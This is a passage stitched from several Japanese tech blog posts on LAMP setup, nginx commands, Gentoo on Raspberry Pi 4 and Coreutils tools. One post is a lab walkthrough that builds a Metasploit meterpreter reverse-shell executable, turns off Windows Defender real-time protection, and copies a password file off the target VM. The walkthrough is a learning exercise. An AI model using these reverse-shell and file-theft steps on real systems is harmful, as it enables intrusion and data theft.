Install_and_configure_apache2.4.37[C8LX@root ~]# dnf install httpd httpd-devel httpd-tools mod_ssl -y [C8LX@root ~]# httpd -v Server version: Apache/2.4.37 (centos) Server bui lt: Oct 7 2019 21:42:02 [C8LX@root ~]# cd /etc/httpd/conf/ [C8LX@root /etc/httpd/conf]# cp httpd.conf httpd.conf.bk [C8LX@root /etc/httpd/conf]# cat httpd.conf.bk | egrep -v "(\#|^$)" > httpd.conf [C8LX@root /etc/httpd/conf]# vim httpd.conf -:Listen 80 +:Listen 0.0.0.0:80 -: DirectoryIndex index.html +: DirectoryIndex index.php index.html index.cgi (末尾に追記) ServerTokens Prod [C8LX@root /etc/httpd/conf]# cd [C8LX@root ~]# firewall-cmd --list-all services: cockpit dhcpv6-client ssh [C8LX@root ~]# firewall-cmd --remove-service={dhcpv6-client,cockpit} --zone=public --permanent [C8LX@root ~]# firewall-cmd --add-serevice={http,https} --zone=public --permanent [C8LX@root ~]# firewall-cmd --reload [C8LX@root ~]# firewall-cmd --list-all services: http https ssh [C8LX@root ~]# echo "test page" > /var/www/html/index.html [C8LX@root ~]# chmod -R apache:apache /var/www [C8LX@root ~]# systemctl start httpd [C8LX@root ~]# systemctl enable httpdブラウザで http://サーバIP/ へアクセスして、表示されればOK。
PHP
Install_and_configure_php7.2.11[C8LX@root ~]# dnf install php php-fpm php-mbstring \ php-devel php-mysqlnd -y [C8LX@root ~]# php -v PHP 7.2.11 (cli) (built: Oct 9 2018 15:09:36) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies [C8LX@root ~]# vim /etc/php.ini -:;date.timezone = +:date.timezone = Asia/Tokyo -:expose_php = On +:expose_php = Off -:;mbstring.language = Japanese +:mbstring.language = Japanese -:;mbstring.internal_encoding = +:mbstring.internal_encoding = UTF-8 -:;mbstring.http_input = +:mbstring.http_input = UTF-8 -:;mbstring.http_output = +:mbstring.http_output = UTF-8 -:;mbstring.encoding_translation = Off +:mbstring.encoding_translation = On -:;mbstring.detect_order = auto +:mbstring.detect_order = auto -:;mbstring.substitute_character = none +:mbstring.substitute_character = none [C8LX@root ~]# echo -n '<?php\nphpinfo();\n?>' > /var/www/html/index.php [C8LX@root ~]# cp /etc/php-fpm.d/www.conf /etc/php-fpm.d/www.conf.bk [C8LX@root ~]# vim /etc/php-fpm.d/www.conf -:;listen.owner = nobody +:listen.owner = apache -:;listen.group = nobody +:listen.group = apache -:;listen.mode = 0660 +:listen.mode = 0660 [C8LX@root ~]# systemctl restart httpdブラウザでhttp://サーバIP/index.phpへアクセスして、phpinfo()が表示されればOK。
mysql
Install_and_configure_mysql8.0[C8LX@root ~]# dnf install mysql-server mysql-devel -y [C8LX@root ~]# vim /etc/my.cnf.d/mysql-server.cnf (末尾に追記) +:character-set-server=utf8 +:bind-address=0.0.0.0 #+:collation-server=utf8_unicode_ci [C8LX@root ~]# vim /etc/my.cnf ([client]直下に追記) +:default-character-set=utf8 +:[mysql] +:default-character-set=utf8 [C8LX@root ~]# cp /usr/lib/systemd/system/mysqld.service \ /etc/systemd/system/ [C8LX@root ~]# vim /etc/systemd/system/mysqld.service -:ExecStart=/usr/libexec/mysqld --basedir=/usr +:ExecStart=/usr/libexec/mysqld --basedir=/usr --skip-mysqlx [C8LX@root ~]# systemctl daemon-reload [C8LX@root ~]# systemctl start mysqld.service [C8LX@root ~]# systemctl status mysqld.service Active: active (running) [C8LX@root ~]# netstat -ant tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN [C8LX@root ~]# mysql -u root (※以下大文字は任意) mysql> create database DBNAME; mysql> create user USERNAME@localhost; mysql> grant all privileges on DBNAME.* to USERNAME@localhost; mysql> alter user USERNAME@localhost identified by 'PASSWORD'; mysql> quit; [C8LX@root ~]# vim test.php <?php try { $dbcon = new PDO('mysql:host=localhost;dbname=DBNAME','USERNAME','PASSWORD'); printf("success\n"); } catch(PDOException $e){ printf("failure\n"); exit; } ?> [C8LX@root ~]# php test.php success [C8LX@root ~]# firewall-cmd --add-service=mysql --zone=public --permanent [C8LX@root ~]# firewall-cmd --reload [C8LX@root ~]# firewall-cmd --list-all services: http https mysql ntp samba samba-client sshひとまずここまで。SQL苦手だからいつも検索するんだけど、
ちょくちょく全部大文字になってる場合があるの何故なんだろう。
- 投稿日:2019-12-04T15:53:16+09:00
【Linux Nginx】Webサーバ初期設定で使うコマンド集
ファイアウォールの設定
HTTP(TCPの80番ポートを空ける)を利用(現在の設定を変更して保存) [user@host]$ sudo firewall-cmd --add-service http [user@host]$ sudo firewall-cmd --add-service http --permanent success HTTPS(TCPの443番ポートを空ける)を利用(現在の設定を変更して保存) [user@host]$ sudo firewall-cmd --add-service https [user@host]$ sudo firewall-cmd --add-service https --permanent successnginx
開始 [user@host]$ sudo systemctl start nginx 終了 [user@host]$ sudo systemctl stop nginx 再起動 [user@host]$ sudo systemctl restart nginx 設定ファイル再読み込み [user@host]$ sudo systemctl reload nginx 状態表示 [user@host]$ sudo systemctl status nginx -lnginx エラーログの場所
/var/log/nginx/error.lognginx 設定ファイル コメントアウト
シェルスクリプト同様「#」でコメントアウトが可能です。
- 投稿日:2019-12-04T11:40:25+09:00
はじめてのWindows10ハッキング
攻撃の手口を知り、セキュリティ意識の高い人間になりたい。
というのは建前で、ハッカーってカッコよくね?という動機でハッキングの練習をはじめました。株式会社ピー・アール・オーのアドベントカレンダー4日目です。
何かを作る内容ではないですが、こんな自分が「あったらいいな!」ということでご容赦ください...やること
VMでWindows実験環境を構築し、別の環境(Kali Linux)から攻撃、遠隔操作します。
長くなりましたが、画像多めです。※ダメ、絶対。
本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。準備する
まず、攻撃端末とターゲット端末をVMで構築します。
今回は、以下の環境で行いました。
- ホスト OS: macOS 10.15.2 Beta
- ゲスト OS
- 攻撃端末: Kali Linux 5.3.0-kali2-amd64
- ターゲット端末: Windows10
- 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)
攻撃環境の構築
Kali Linuxはペネトレーションテストに用いられるLinuxディストリビューションです。
Debianをベースに作られており、300以上のペネトレーションテスト用ツールがプリインストールされています。今回はKali Linuxを使用しますが、各自使い慣れたOSに攻撃ツールをインストールしても問題ありません。
Kali Linux のインストール
以下のページからKali Linuxのイメージをダウンロードします。
https://www.kali.org/downloads/
今回は「Kali Linux 64-Bit」をダウンロードしました。本記事では、詳細なインストール方法は割愛します。
実験用 Windows 環境の構築
Windows10のイメージをダウンロードする
以下のページから Windows10 の ISO ファイルをダウンロードしてきます。
https://www.microsoft.com/ja-jp/software-download/windows10ISOVM 作成
VirtualBoxの新規から仮想マシンを作成します。
できました。インストール&セットアップ
- Windows10の仮想マシンを起動します。
- 「起動ハードディスクの選択」画面でインストールしたISOファイルを選択します。
画面にしたがって初期設定を進めます。
ライセンス認証画面では「プロダクトキーがありません」をクリックします。
インストールの種類では「カスタム: Windowsのみをインストールする」を選択します。
認証画面では、他のWindows端末と動機ファイルが同期されないよう「オフラインアカウント」をクリックします。
デバイスのプライバシー設定の選択では、すべて無効にします。
デスクトップ画面が表示されれば設定完了。仮想ドライブからISOファイルを除去する
Windows10を一度終了し、VirtualBoxの設定 > ストレージを開く。
光学ドライブの右にあるディスクアイコンをクリックし、「仮想ドライブからディスクを除去」を選択します。
これで準備は完了です!
攻撃する(本編)
今回の攻撃実験は以下の環境で行います。
攻撃端末とターゲット端末は同じネットワーク内に存在させます。
端末 IPアドレス Kali Linux(攻撃端末) 10.0.0.2 Windows10(ターゲット端末) 10.0.0.102 攻撃端末からターゲット端末を制御できるようにする
Metasploit Framework で リバースシェルを作成し、ターゲット端末で実行します。
Metasploit Framework とは
オープンソースのペネトレーションテストツールであり、調査、侵入、攻撃、バックドアの設置・接続といったサーバー侵入の一連の流れを行うことができます。
Kali Linux にはデフォルトで用意されています。
※不正アクセスとなるため、許可されていない外部の環境に対して使用しないでください。ペイロードの作成
ペイロードは、悪意のある動作をする実行コードのことです。
今回は、TCPリバースシェルのペイロードを作成します。※リバースシェルはターゲット端末から攻撃端末側に対して接続するタイプのシェルで、ファイアウォールやルーターが、アウトバウンド(内部から外部への接続)に対し比較的制限がゆるく、通信がブロックされにくい点を狙われています。
以下のコマンドで、64bitのwindowsを対象とし、接続先を攻撃端末(10.0.0.2)に指定したTCPリバースシェルが作成されます。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe外部から実行ファイルにアクセスできるようにする
作成したペイロードはなんらかの方法でターゲット端末に実行してもらう必要があります。
今回は、Apache を起動して、ターゲット端末のブラウザからアクセスできるようにします。# mkdir /var/www/html/share # cp /root/Desktop/evil.exe /var/www/html/share/ # service apache2 restartターゲット端末にペイロードをダウンロードさせる
windows10側のブラウザから http://10.0.0.2/share にアクセスします。
evil.exeが存在することが確認できましたので、これをダウンロードしてみます。
evil.exeをクリックして実行を選択すると、Windows Defender Antivirusにウイルスとして検知されたため、失敗しました。
右下の通知をクリックすると、トロイの木馬という聞いたことのある名前が現れて少しワクワクしています。
ここで「操作」から「許可する」を選択してもう一度保存しようとすると、表示が変わりました。
この状態で実行をクリックして保存します。
次に、Windows Defender セキュリティセンターで「リアルタイム保護」をオフにしてから再度ダウンロードします。
詳しい設定方法はこちら( https://121ware.com/qasearch/1007/app/servlet/relatedqa?QID=018503 )を参照してください。フォルダを開くと、リアルタイム保護がオンの時に保存したもの(evil.exe)と、オフの時に保存したもの(evil(1).exe)の2つが存在していることが確認できます。
攻撃側でリバースシェルを待ち受ける
攻撃端末で次のコマンドを実行し、リバースシェルによる接続を待ち受けます。
# msfconsole <----入力 [-] ***Rting the Metasploit Framework console...\ [-] * WARNING: No database support: No database YAML file [-] *** .,,. . .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88' d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88 .a#$$$$$$"` 88b d8P 88b`?8888P' ,s$$$$$$$"` 888888P' 88n _.,,,ass;: .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$' .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' _______________________________________________________________ ,&$$$$$$'_____ ll&&$$$$' .;;lll&&&&' ...;;lllll&' ......;;;llll;;;.... ` ......;;;;... . . =[ metasploit v5.0.62-dev ] + -- --=[ 1949 exploits - 1090 auxiliary - 334 post ] + -- --=[ 558 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5 > use exploit/multi/handler <----入力 msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp <----入力 payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 10.0.0.2 <----入力 LHOST=>10.0.0.2 msf5 exploit(multi/handler) > exploit -j -z <----入力 [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.0.0.2:4444 <----待ち受け開始 msf5 exploit(multi/handler) >ターゲット端末でペイロードを実行する
Windows側でペイロードを実行します。
リアルタイム保護がオンの時にダウンロードしたものと、オフの時にダウンロードしたものをそれぞれ、リアルタイム保護がオンの状態とオフの状態のパターンで計4回実行します。
【ダウンロード時】
リアルタイム保護が有効
(evil.exe)【ダウンロード時】
リアルタイム保護が無効
(evil(1).exe)【実行時】
リアルタイム保護が有効攻撃失敗 攻撃失敗 【実行時】
リアルタイム保護が無効攻撃失敗 攻撃成功 いずれも実行時に警告がでるが、詳細 > 実行で強制的に実行します。
成功時は攻撃側コンソールに以下のように表示されます。
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.0.0.102 [*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49975) at 2019-12-04 09:08:01 +0900この状態でEnterを押したあと、sessionsコマンドでセッション一覧を表示します。
msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/windows DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F 10.0.0.2:4444 -> 10.0.0.102:49975 (10.0.0.102)攻撃環境(10.0.0.2)からターゲット環境(10.0.0.102)への接続が確認できました。
Meterpreterプロンプトで遠隔操作する
次に、実験用にpassword.txtファイルをWindows側に作成します。
攻撃側でセッションIDを指定してMeterpreterプロンプトを表示させます。
msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter >password.txtを探してダウンロードします。
meterpreter > pwd C:\Users\arakawa\Downloads meterpreter > ls Listing: C:\Users\arakawa\Downloads =================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2019-12-01 21:24:25 +0900 desktop.ini 100777/rwxrwxrwx 7168 fil 2019-12-04 08:21:32 +0900 evil (1).exe 100777/rwxrwxrwx 7168 fil 2019-12-04 09:07:02 +0900 evil.exe 100666/rw-rw-rw- 8 fil 2019-12-04 09:15:30 +0900 password.txt meterpreter > download password.txt [*] Downloading: password.txt -> password.txt [*] Downloaded 8.00 B of 8.00 B (100.0%): password.txt -> password.txt [*] download : password.txt -> password.txt meterpreter >別のターミナルを開き、ダウンロードできていることを確認します。
root@kali:~# ls -la password.txt -rw-r--r-- 1 root root 8 Dec 4 09:15 password.txt無事(?)ダウンロードできていました!!
まとめ
Kali Linuxを利用してWindows10へ攻撃、遠隔操作の実験を行いましたが、
思っていたよりも簡単にできてしまったのは意外でした。
Windows Defenderがしっかり仕事をしてくれているのを実感できたのも個人的には収穫かなーと思います。この次のステップとして、バックドアを作成したり、ペイロードを偽装したり、まだまだ盛りだくさんなので、いずれ続きを書くかもしれません。
参考書籍
- 投稿日:2019-12-04T09:04:49+09:00
Linuxのシステム情報を表示するツール
教えていただいた便利ツールの備忘録です。
sudo apt install inxi でインストールします。master@sv-debian:~$ sudo inxi -Fxxxz System: Host: sv-debian Kernel: 4.19.0-6-amd64 x86_64 bits: 64 compiler: gcc v: 8.3.0 Console: tty 0 dm: LightDM 1.26.0 Distro: Debian GNU/Linux 10 (buster) Machine: Type: Vmware System: VMware product: VMware7,1 v: N/A serial: <filter> Chassis: No Enclosure type: 1 serial: N/A Mobo: Intel model: 440BX Desktop Reference Platform serial: N/A UEFI: VMware v: VMW71.00V.6997262.B64.1710270607 date: 10/27/2017 CPU: Topology: Quad Core model: Intel Core i7-6700 bits: 64 type: MCP arch: Skylake-S rev: 3 L2 cache: 8192 KiB flags: lm nx pae sse sse2 sse3 sse4_1 sse4_2 ssse3 bogomips: 27200 Speed: 3400 MHz min/max: N/A Core speeds (MHz): 1: 3400 2: 3400 3: 3400 4: 3400 Graphics: Device-1: VMware SVGA II Adapter driver: vmwgfx v: 2.15.0.0 bus ID: 00:0f.0 chip ID: 15ad:0405 Display: server: X.org 1.20.4 driver: vmware unloaded: fbdev,modesetting,vesa tty: 200x50 Message: Advanced graphics data unavailable in console for root. Audio: Device-1: Ensoniq ES1371/ES1373 / Creative Labs CT2518 driver: snd_ens1371 v: kernel bus ID: 02:01.0 chip ID: 1274:1371 Sound Server: ALSA v: k4.19.0-6-amd64 Network: Device-1: Intel 82371AB/EB/MB PIIX4 ACPI vendor: VMware Virtual Machine type: network bridge driver: N/A port: 2150 bus ID: 00:07.3 chip ID: 8086:7113 Device-2: VMware VMXNET3 Ethernet driver: vmxnet3 v: 1.4.16.0-k port: 3000 bus ID: 03:00.0 chip ID: 15ad:07b0 IF: ens160 state: up speed: 10000 Mbps duplex: full mac: <filter> Drives: Local Storage: total: 60.00 GiB used: 603.28 GiB (1005.5%) ID-1: /dev/sda vendor: VMware model: Virtual S size: 60.00 GiB serial: N/A rev: 1.0 scheme: GPT Partition: ID-1: / size: 55.26 GiB used: 5.00 GiB (9.1%) fs: btrfs dev: /dev/dm-0 ID-2: /boot size: 236.3 MiB used: 59.0 MiB (25.0%) fs: ext2 dev: /dev/sda2 ID-3: swap-1 size: 4.00 GiB used: 0 KiB (0.0%) fs: swap dev: /dev/dm-1 Sensors: Message: No sensors data was found. Is sensors configured? Info: Processes: 201 Uptime: 5m Memory: 3.83 GiB used: 492.0 MiB (12.5%) Init: systemd v: 241 runlevel: 5 Compilers: gcc: 8.3.0 alt: 8 Shell: nologin (sudo) running in: tty 0 (SSH) inxi: 3.0.32 master@sv-debian:~$
- 投稿日:2019-12-04T01:21:47+09:00
【Linux】ルート以下のディレクトリ
/
最上位。
/bin
システム構成に必要な基本的なコマンド。
/boot
起動用。
/dev
デバイス捜査用。
/etc
システム設定用。
/home
ユーザーのhomeディレクトリ。
/lib
/bin、/sbin用の共有ライブラリ
/lost+found
迷子&破損ファイル
/misc
雑多なファイル。
/mnt
一時的なパーティションのためのマウントポイント。
/proc
カーネル検査ファイル。
/root
スーパーユーザーのホームディレクトリ。
/sbin
管理用コマンド。
/tmp
一時ファイル。全ユーザーが自由に使える原則。
/usr
ユーザー用の階層。
/va
ログ、スプール、システム定義ファイルなど。
/var
変化が多いファイル。ログファイルなど。
- 投稿日:2019-12-04T00:50:19+09:00
RaspberryPi4でGentoo Linuxを動かす
Raspberry Pi 4が日本でやっと発売されたので、Gentoo Linuxのインストール手順を調べてまとめました。
この手順でインストールを行うと64bitでRaspberry Piを使うことができます。(公式OSのRaspbianだと32bitらしいです)
楽な方法
試してないですが、簡単にやるのであれば以下のリポジトリのイメージを使うのが一番早いと思います。自分はsystemd使いたいのと、Gentooといえば自分でstage3展開からセットアップしていくものだと思ったので、この記事では手動でセットアップをしたときの手順を記載します。1
https://github.com/sakaki-/gentoo-on-rpi-64bit
ビルド用コンテナイメージ
以下の作業で必要なものを入れたコンテナイメージを用意したので、これを使うと環境準備の手間が省けると思います。この記事はこのイメージを利用した場合を前提に記述していますが、Dockerfileを参考に必要なものを自分で入れて適宜読み替えれば、このイメージを使わなくともセットアップできると思います。
https://github.com/int2xx9/raspberrypi-workbench起動は↓のような感じでできると思います。
# docker pull docker.pkg.github.com/int2xx9/raspberrypi-workbench/raspberrypi-workbench:20191204 # docker run --rm -it -v $(pwd)/work:/work --privileged docker.pkg.github.com/int2xx9/raspberrypi-workbench/raspberrypi-workbench:20191204 bash起動すると、存在しない場合以下の3つのリポジトリが/work以下にクローンされます。Raspberry Pi固有のファームウェアやカーネル等はこのリポジトリのものを使用してセットアップを行います。
- /work/firmware
- /work/linux
- /work/tools
カーネルコンパイル
カーネルコンパイル# cd /work/linux # ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make bcm2711_defconfig # ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make menuconfig # ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make -j3menuconfigはしなくともとりあえず起動するカーネルは作れると思います。自分はCPU governorをondemandに変えたりいくつかの設定を変更しました。
-j3
は使用しているマシンのコア数等に応じて適宜調整します。Core i3-2100の環境でだいたい40分弱くらいでコンパイルできました。パーティション作成
パーティションはこんな感じの構成にします。メモリが4GBあるのと、SDカードの書き込みを減らすため、とりあえずスワップは作成しないことにしました。
種類 タイプ 容量 boot FAT32 127MiB rootfs ext4 (上を除いた残り) 実際にパーティションの作成とフォーマットをします。
パーティション作成時、1つ目のパーティションのパーティションタイプ(≠実際にフォーマットするファイルシステム)はFAT32になっていないと、ACTランプが4回点滅してstart.elfを見つけられずエラーとなるみたいなので注意。
partedでパーティション作成# parted /dev/sdf (parted) mklabel msdos (parted) mkpart p fat32 1MiB 128MiB (parted) mkpart p ext4 128MiB -1 (parted) set 1 boot on次に作成したパーティションをフォーマットします。上のコンテナイメージを使ってる人でこの後/dev/sdf1, /dev/sdf2が見つからない場合、一度コンテナを起動しなおせば出てくると思います。
作成したパーミッションをフォーマット# mkfs.vfat -F32 /dev/sdf1 # mkfs.ext4 -i 8192 /dev/sdf2stage3とportageの展開
ここはPCにインストールする場合とだいたい同じような感じです。
stage3とportageの展開# mount /dev/sdf2 /mnt/gentoo # cd /mnt/gentoo # curl 'http://distfiles.gentoo.org/experimental/arm64/stage3-arm64-systemd-20190925.tar.bz2' | tar jxp --xattrs-include='*.*' --numeric-owner # mkdir -p /mnt/gentoo/etc/portage/repos.conf # cp /mnt/gentoo/usr/share/portage/config/repos.conf /mnt/gentoo/etc/portage/repos.conf/gentoo.conf # mkdir -p /mnt/gentoo/var/db/repos/gentoo # curl 'http://distfiles.gentoo.org/snapshots/portage-latest.tar.bz2' | tar xj --strip 1 -C /mnt/gentoo/var/db/repos/gentoo/最低限の設定
rootのパスワードとfstabを設定しておきます。とりあえずこれだけ設定しておけば起動とログインまではできるはずです。
普通のPCに入れる場合と違いchrootしておらずpasswdコマンドが使えないため、パスワードは/etc/shadowを直接書き換えて無理やり設定します。opensslの引数に指定しているrootがパスワードになるので、設定したいパスワードがある場合適当に変更します。
パスワードの設定# sed --in-place -e 's,^root:\*:,root:'$(openssl passwd -6 root)':,' /mnt/gentoo/etc/shadowfstabを設定します。
fstabの設定# cat >> /mnt/gentoo/etc/fstab /dev/mmcblk0p1 /boot vfat noauto,noatime 1 2 /dev/mmcblk0p2 / ext4 noatime 0 1ブート関連の設定
起動に必要なファイルをコピーします。自分はWifiやBluetoothを使う予定がないため、その関連のファームウェアのコピーはとりあえず行っていません。
ブートに必要なファイルをコピー# mount /dev/sdf1 /mnt/gentoo/boot/ # cp -r /work/firmware/boot/* /mnt/gentoo/boot/ # cp /work/linux/arch/arm64/boot/Image /mnt/gentoo/boot/kernel8.img # mv /mnt/gentoo/boot/bcm2711-rpi-4-b.dtb /mnt/gentoo/boot/bcm2711-rpi-4-b.dtb_32 # cp /work/linux/arch/arm64/boot/dts/broadcom/bcm2711-rpi-4-b.dtb /mnt/gentoo/boot/ # cd /work/linux # ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make modules_install INSTALL_MOD_PATH=/mnt/gentooブート関連の設定ファイルを作成します。
ブート関連の設定ファイルの作成# cat > /mnt/gentoo/boot/config.txt arm_64bit=1 enable_gic=1 armstub=armstub8-gic.bin disable_overscan=1 hdmi_drive=2 dtparam=audio=on gpu_mem=16 # cat > /mnt/gentoo/boot/cmdline.txt root=/dev/mmcblk0p2 rootfstype=ext4 rootwaitarmstub8-gic.binというものが必要みたいなので作成します。よくわかっていないですが、Raspberry Pi 4からはARMの標準的なGICと呼ばれる割り込みコントローラが使えるようになったため、そのGICの初期化を行うためのものみたいです。2
armstub8-gic.binの用意# cd /work/tools/armstubs # make CC8=aarch64-unknown-linux-gnu-gcc LD8=aarch64-unknown-linux-gnu-ld OBJCOPY8=aarch64-unknown-linux-gnu-objcopy OBJDUMP8=aarch64-unknown-linux-gnu-objdump armstub8-gic.bin # cp armstub8-gic.bin /mnt/gentoo/boot/Raspberry Piを起動する
ここまで行えば起動できるようになっているはずなので、/mnt/gentoo, /mnt/gentoo/bootをアンマウント後、Raspberry PiにSDカードを挿入して起動できるか確認します。
起動しなければなにか間違っているので頑張って調べます。緑色のLED(ACT LED)が点滅してる場合は起動時に何らかのエラーが出ているので、点滅回数とエラーの対応表を見るとなにかわかるかもしれないです。3
上にも書きましたが、自分の実例で言うと、最初に起動確認したときに緑LEDが4回点滅してstart.elfが見つからないというエラーが発生しました。原因はパーティションタイプがFAT32になっていないことだったので、パーティションタイプを変更したら起動するようになりました。
参考資料
- 投稿日:2019-12-04T00:44:43+09:00
commコマンド
Coreutils Advent Calendar 12日目です
今回は
comm
コマンドです。
comm
コマンドとは無料通話アプリのcommではありません(遠い目
2つのファイルを比較して、片方にしかないデータ、両方にしかないデータなどを出力してくれます。ベン図を書いて、きちんと整理してデータの集計に当たりましょう。
実行例
実行結果が独特なのでサンプルを載せます。
$ seq 1 3 9 > q $ seq 1 2 9 > w $ head q w ==> q <== 1 4 7 ==> w <== 1 3 5 7 9 $ comm q w 1 3 4 5 7 9カラムの取り出し
カラムが3つあります。単独でカラムを取り出したい場合は、 -1 , -2 , -3 というオプションを使います。 またCoreutils 8.26から --total が追加されました。こんな感じです。totalの行は -123 とすると単独で取り出せます。
$ comm q w --total 1 3 4 5 7 9 1 3 2 totalおしまい。
次回
shuf
コマンド。
- 投稿日:2019-12-04T00:38:38+09:00
tsortコマンド
Coreutils Advent Calendar 11日目です
今回は
tsort
コマンドです。前後関係を与えると、その順にソートしてくれます。マニュアルによると「有向グラフのトポロジカルなソートを行う」と書かれています。tsortコマンドとは
実行例を見た方が早いです。 hoge は fuga の前にあるといった組を用意して
tsort
に食わせると順番に並び替えます。$ cat text hoge fuga fuga piyo foo bar bar baz baz hoge $ tsort text foo bar baz hoge fuga piyo $ cat d a b b c c d d a $ tsort d tsort: d: input contains a loop: tsort: a tsort: b tsort: c tsort: d a b c d次回
comm
コマンド。
- 投稿日:2019-12-04T00:34:59+09:00
sortコマンド
Coreutils Advent Calendar 10日目です
今回は
sort
コマンドです。CoreutilsのマニュアルのOperation on sorted filesのセクションに入ってきました。sortコマンドとは
ファイル中身をソートするコマンド...と書き始めたかったのですが、それ以外にも機能があります。
ファイルを、ソート、マージ、または比較し、表示します。実は3つのモードを持っていて、ソートするモード、マージするモード、ファイルがソートされているかチェックするモードがあります。
チェックするモード
チェックオプションのサンプルは下記のようになります。
seq
は連続した数字を出力するコマンドです。$ seq 12 > k; sort -c k sort: k:10: disorder: 10マージするモード
マージするモードの例を示します。あらかじめソート済みのファイルを流し込んでやるとソートしてくれます。そのため、
seq
であらかじめ連続したデータを作っておきます。せっかくなのでhead
コマンドで表示してみました。$ seq 0 2 10 > a $ seq 1 2 10 > b $ head a b ==> a <== 0 2 4 6 8 10 ==> b <== 1 3 5 7 9単にソートしてみます。
$ sort a b 0 1 10 2 3 4 5 6 7 8 910は後ろに持ってきたいですよね。
-n
や-g
や-h
オプションをつけるとよしなにソートします。$ sort -n a b 0 1 2 3 4 5 6 7 8 9 10その他有用なオプション
-u
: 重複を弾いてくれます
-r
: 逆順に表示してくれます
-k pos1[,pos2]
: 特定のカラムにある文字列を対象にソートします。ps aux
の2カラム目を降順でソートした結果:$ ps aux | sort -nk +2 | tail
-t
: セパレータを設定します。 -k と合わせて使うことが多いです。使用例は複雑なのでマニュアルを見て下さい
-M
: Month sortです。月の名前でソートしてくれます
-R
: Random Sortです
-V
: Version Sortです。バージョン番号でソートします。実はIPv4アドレスをソートするときに使えます
--parallel=n
: nに並行実行数を入れるとパラレルに実行してくれます。ただし、自動で有効なプロセス数が設定されます。あまり気にしなくていいでしょう。最大値は8です次回
tsort
コマンド。
- 投稿日:2019-12-04T00:20:01+09:00
wcコマンド
Coreutils Advent Calendar 9日目です
今回は
wc
コマンドです。wcコマンドとは
ファイルの行数を知るときによく出るコマンドです。
wc -l
しか打たないという声があります。-l
オプションはファイルの行数を表示するコマンドです。行数、単語数、バイト数
覚えましたね。オプションが無いときの出力結果です。行数、単語数、バイト数の順です。
$ wc /etc/hosts 2 10 158 /etc/hosts圧縮されているファイルはどうする?
$ bzcat foo.bz2 | wc -cこんな感じで解凍したものをカウントすれば良さそうです。
ファイルの中で一番長い行の長さを出す
下記の例では、*.c または *.hファイルのリストから、1行の行数が一番長い行の文字列を表示します。
$ find . -name '\*.[ch]' -print0 | wc -L --files0-from=- | tail -n1特定の文字列だけ何回出現しているか?
grep
コマンドの話になっちゃいますがこんなかんじです。$ grep -o string file | wc -l次回
sort
コマンド。